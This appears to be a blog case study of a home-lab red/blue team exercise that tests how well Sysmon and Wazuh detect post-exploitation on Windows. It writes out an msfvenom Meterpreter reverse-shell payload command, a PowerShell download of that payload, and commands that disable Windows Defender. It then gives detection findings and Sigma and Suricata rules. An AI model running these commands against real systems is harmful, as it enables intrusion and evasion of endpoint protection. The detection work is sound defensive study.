Executive Summary
This case study documents a controlled Red Team and Blue Team exercise conducted in a home laboratory environment to evaluate the effectiveness of Sysmon telemetry for detecting post-exploitation activity on a Windows endpoint.
The exercise simulated a realistic attack scenario involving payload delivery, command-and-control (C2) communication, persistence establishment, defense evasion, and data exfiltration. Telemetry generated during the attack was collected through Sysmon and analyzed using Wazuh.
The objective was to determine which stages of the attack could be identified using host-based logging alone and to identify monitoring gaps that required additional detection controls.
The results showed that Sysmon successfully captured multiple high-confidence indicators of compromise, including suspicious process execution and outbound C2 communication. However, several attack actions were not detected due to logging configuration limitations and insufficient monitoring coverage.
Lab Environment
Infrastructure
| Component | Details |
|---|---|
| Attacker System | Kali Linux |
| Target System | Windows 10 |
| SIEM Platform | Wazuh |
| Endpoint Telemetry | Sysmon |
| Sysmon Configuration | SwiftOnSecurity |
| Network Type | Isolated Virtual Lab |
Objective
The Red Team objective was to gain remote access to the target system, establish persistence, and retrieve a designated flag file.
The Blue Team objective was to reconstruct the attack timeline using available telemetry and identify opportunities for improved detection coverage.
Attack Overview
The attack consisted of five phases:
- Payload Generation
- Payload Delivery
- Command-and-Control Establishment
- Persistence Deployment
- Data Exfiltration
Payload Generation
A Meterpreter reverse TCP payload was generated using Metasploit's msfvenom utility.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.19 \
LPORT=4444 \
-f exe \
-o update.exe
The resulting executable was hosted on a temporary HTTP server for retrieval by the target system.
Payload Delivery
The payload was downloaded to the Windows host using PowerShell.
Invoke-WebRequest -Uri http://192.168.1.19:8080/update.exe `
-OutFile C:\Users\Public\update.exe
The executable was stored within the Public user directory and subsequently launched through PowerShell.
Defense Evasion
Prior to execution, Windows Defender protections were disabled through administrative PowerShell commands.
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath C:\Users\Public
Command-and-Control Establishment
Execution of the payload resulted in an outbound reverse TCP connection to the attacker-controlled host.
Windows Host → 192.168.1.19:4444
A Meterpreter session was successfully established, providing interactive access to the target system.
Persistence
Registry-based persistence was configured using a PowerShell payload stored within the current user's registry hive along with an autorun entry.
Persistence artifacts included:
- Custom registry key containing encoded PowerShell content
- Run key for automatic execution during user logon
Data Exfiltration
A designated flag file was transferred through the active Meterpreter session to simulate data theft.
Detection Analysis
The Blue Team phase focused exclusively on Sysmon telemetry available within Wazuh.
Detection Opportunity 1: Suspicious Process Creation
Sysmon Event ID: 1
The execution of the payload generated a process creation event containing several notable indicators.
Image:
C:\Users\Public\update.exe
Parent Image:
powershell.exe
Integrity Level:
High
Company:
-
Description:
-
File Version:
-
Detection Indicators
Several characteristics immediately elevated the risk level:
- Executable launched from a user-writable directory
- Parent process was PowerShell
- Missing digital publisher metadata
- High-integrity execution context
- Unrecognized executable name
Individually, these indicators may generate false positives. Combined, they represent a strong signal of suspicious activity.
Detection Opportunity 2: Outbound C2 Communication
Sysmon Event ID: 3
Immediately following execution, the process established an outbound network connection.
Image:
C:\Users\Public\update.exe
Destination IP:
192.168.1.19
Destination Port:
4444
Protocol:
TCP
Detection Indicators
Key observations included:
- Newly executed executable initiating outbound communication
- Connection established shortly after execution
- Use of TCP port 4444
- Non-browser process generating network traffic
Correlating Event ID 1 and Event ID 3 provided strong evidence of a command-and-control channel.
Detection Opportunity 3: SmartScreen Inspection Activity
Prior to execution, Sysmon recorded SmartScreen activity associated with the downloaded executable.
The presence of SmartScreen inspection indicated that Windows had identified the file as requiring reputation verification before execution.
Although not malicious by itself, this event added additional context to the investigation timeline.
Detection Gaps Identified
While Sysmon provided valuable visibility, several attack actions were not effectively detected.
Gap 1: Defender Configuration Changes
The commands used to disable Defender generated no actionable alerts.
Root causes included:
- Tamper Protection disabled
- PowerShell Script Block Logging not enabled
- No monitoring of Defender configuration changes
As a result, a critical defense evasion action occurred without detection.
Gap 2: Registry-Based Persistence
Persistence artifacts were discovered during manual review rather than through automated alerting.
Although Sysmon supports registry monitoring, the active configuration did not include coverage for the relevant registry locations.
Additional monitoring should be implemented for:
HKCU\Software\
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Gap 3: Data Exfiltration Visibility
The simulated flag transfer occurred over an already established C2 channel.
Because no network monitoring solution was deployed on the internal segment, the transfer generated no dedicated exfiltration alerts.
Potential improvements include:
- Suricata deployment
- Network Security Monitoring (NSM)
- DLP controls
- Flow-based anomaly detection
Detection Engineering Outcomes
The exercise resulted in the creation of new detection content.
Sigma Rule
title: Suspicious Executable Executed From Public Directory
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|contains: '\Users\Public\'
Description: '-'
condition: selection
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 \
(msg:"Possible Meterpreter C2 Communication"; \
flow:established,to_server; \
sid:1000080; rev:1;)
These rules were added to the lab's detection library for future validation exercises.
Key Findings
The exercise produced several notable findings:
- Sysmon Event ID 1 remains one of the highest-value telemetry sources for endpoint investigations.
- Correlating process creation events with network connection events significantly improves detection confidence.
- User-writable directories remain a common location for malicious payload execution.
- PowerShell continues to be a high-risk parent process requiring close monitoring.
- Registry persistence requires broader Sysmon coverage than default configurations often provide.
- Defense evasion activities can remain invisible without PowerShell and Defender auditing.
Conclusion
This exercise demonstrated that Sysmon and Wazuh can provide substantial visibility into post-exploitation activity without relying on a commercial EDR platform.
The attack chain was successfully reconstructed using host telemetry, and multiple high-confidence indicators of compromise were identified. However, the assessment also highlighted the importance of comprehensive logging, registry monitoring, PowerShell auditing, and network visibility.
The most significant lesson was that effective detection depends not only on telemetry collection but also on appropriate alerting, correlation, and coverage. In this scenario, the available evidence existed within the logs; the primary gaps were in monitoring configuration and detection content rather than telemetry generation itself.
Future iterations of this lab will focus on strengthening registry monitoring, enabling advanced PowerShell logging, improving Defender audit coverage, and integrating network-based detection capabilities.
Top comments (0)